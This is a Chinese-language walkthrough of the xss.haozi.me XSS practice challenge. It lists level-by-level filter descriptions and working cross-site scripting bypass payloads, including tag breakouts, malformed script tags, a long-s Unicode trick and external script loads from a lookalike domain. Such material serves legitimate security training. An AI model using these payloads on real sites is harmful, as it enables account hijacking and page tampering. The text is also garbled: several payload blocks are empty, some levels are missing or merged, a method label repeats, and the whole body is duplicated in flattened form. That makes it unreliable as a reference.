xss.haozi.me通关教程
字数 1010 2025-08-11 17:40:10

XSS.haozi.me通关教程

0x00 基础注入

  • 注入点:直接输入XSS payload
  • 常规payload:<script>alert(1)</script>
  • 成功条件:直接执行JavaScript弹窗

0x01 Textarea标签绕过

  • 注入点位于<textarea></textarea>标签中
  • 解决方法1:闭合textarea标签
    </textarea><script>alert(1)</script><textarea>
    
  • 解决方法2:利用error事件
    </textarea><textarea>
    

0x02 输入框注入

  • 注入点将值转化为字符串显示在输入框内
  • 解决方法:闭合前面的双引号
    ">
    

0x03 特殊字符过滤

  • 过滤内容:括号()和方括号[]
  • 解决方法:使用反引号`代替
    <script>alert`1`</script>
    

0x04 HTML编码绕过

  • 过滤内容:括号、正括号和引号
  • 解决方法:使用HTML编码
    
    

0x05 注释符绕过

  • 注入点处于注释符之间
  • 解决方法:使用替代注释语法
    --!><script>alert(1)</script><!--
    

0x06 正则表达式绕过(换行)

  • 过滤正则:/auto|on.*=|>/ig
  • 解决方法:利用换行符绕过
    type="image" src="" 
    onerror=alert(1)
    

0x07 正则表达式绕过(不闭合标签)

  • 过滤正则:/<\/?[^>]+>/gi
  • 解决方法:不闭合标签
    `
    
  • 解决方法1:添加空格
    </style ><script>alert(1)</script><style>
    
  • 解决方法2:直接闭合
    </style><script>alert(1)</script><style>
    

0x09 白名单URL绕过

  • 要求:必须包含特定URL
  • 解决方法1:在URL后添加payload
    https://www.segmentfault.com1" onerror=alert(1)
    
  • 解决方法2:闭合引号后添加新标签
    https://www.segmentfault.com"></script>
    
  • 解决方法2:利用域名大小写不敏感
    <script src=https://www.segmentfault.com.haozi.me/j.js></script>
    

0x0C Script标签过滤

  • 过滤内容:script被替换为空
  • 解决方法1:使用编码
    
    
  • 解决方法2:畸形构造script标签
    <sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
    

0x0D 斜杠和引号过滤

  • 过滤内容:斜杠、单双引号
  • 解决方法:使用JS注释
    alert(1);-->
    

0x0E 特殊字符绕过

  • 过滤内容:<后追加下划线并将字母大写
  • 解决方法:使用特殊字符ſ(古英文)
    <ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
    

0x0F HTML编码还原

  • 特点:关键字被HTML编码但会被还原执行
  • 解决方法:闭合并注释
    '); alert(1); //
    

0x10 直接赋值

  • 特点:无过滤
  • 解决方法:直接赋值并注入
    ''; alert(1);
    

0x11 转义字符绕过

  • 特点:字符被转义但转义后仍有效
  • 解决方法:
    "); alert(1); //
    

0x12 转义符转义

  • 特点:双引号被转义
  • 解决方法1:转义转义符
    \"); alert(1); //
    
  • 解决方法2:闭合script标签
    </script><script>alert(1)</script><script>
    

关键总结

  1. 理解注入点的上下文环境至关重要
  2. 多种闭合方式可以绕过特定过滤
  3. HTML编码和JS编码是有效的绕过手段
  4. 正则表达式过滤可以通过特殊构造绕过
  5. 外部资源引用是强大的绕过技术
  6. 大小写和特殊字符处理可以突破限制
  7. 注释和转义技巧在特定场景下非常有效
XSS.haozi.me通关教程 0x00 基础注入 注入点:直接输入XSS payload 常规payload: <script>alert(1)</script> 成功条件:直接执行JavaScript弹窗 0x01 Textarea标签绕过 注入点位于 <textarea></textarea> 标签中 解决方法1:闭合textarea标签 解决方法2:利用error事件 0x02 输入框注入 注入点将值转化为字符串显示在输入框内 解决方法:闭合前面的双引号 0x03 特殊字符过滤 过滤内容:括号 () 和方括号 [] 解决方法:使用反引号 ` 代替 0x04 HTML编码绕过 过滤内容:括号、正括号和引号 解决方法:使用HTML编码 0x05 注释符绕过 注入点处于注释符之间 解决方法:使用替代注释语法 0x06 正则表达式绕过(换行) 过滤正则: /auto|on.*=|>/ig 解决方法:利用换行符绕过 0x07 正则表达式绕过(不闭合标签) 过滤正则: /<\/?[^>]+>/gi 解决方法:不闭合标签 解决方法1:添加空格 解决方法2:直接闭合 0x09 白名单URL绕过 要求:必须包含特定URL 解决方法1:在URL后添加payload 解决方法2:闭合引号后添加新标签 解决方法2:利用域名大小写不敏感 0x0C Script标签过滤 过滤内容: script 被替换为空 解决方法1:使用编码 解决方法2:畸形构造script标签 0x0D 斜杠和引号过滤 过滤内容:斜杠、单双引号 解决方法:使用JS注释 0x0E 特殊字符绕过 过滤内容: < 后追加下划线并将字母大写 解决方法:使用特殊字符 ſ (古英文) 0x0F HTML编码还原 特点:关键字被HTML编码但会被还原执行 解决方法:闭合并注释 0x10 直接赋值 特点:无过滤 解决方法:直接赋值并注入 0x11 转义字符绕过 特点:字符被转义但转义后仍有效 解决方法: 0x12 转义符转义 特点:双引号被转义 解决方法1:转义转义符 解决方法2:闭合script标签 关键总结 理解注入点的上下文环境至关重要 多种闭合方式可以绕过特定过滤 HTML编码和JS编码是有效的绕过手段 正则表达式过滤可以通过特殊构造绕过 外部资源引用是强大的绕过技术 大小写和特殊字符处理可以突破限制 注释和转义技巧在特定场景下非常有效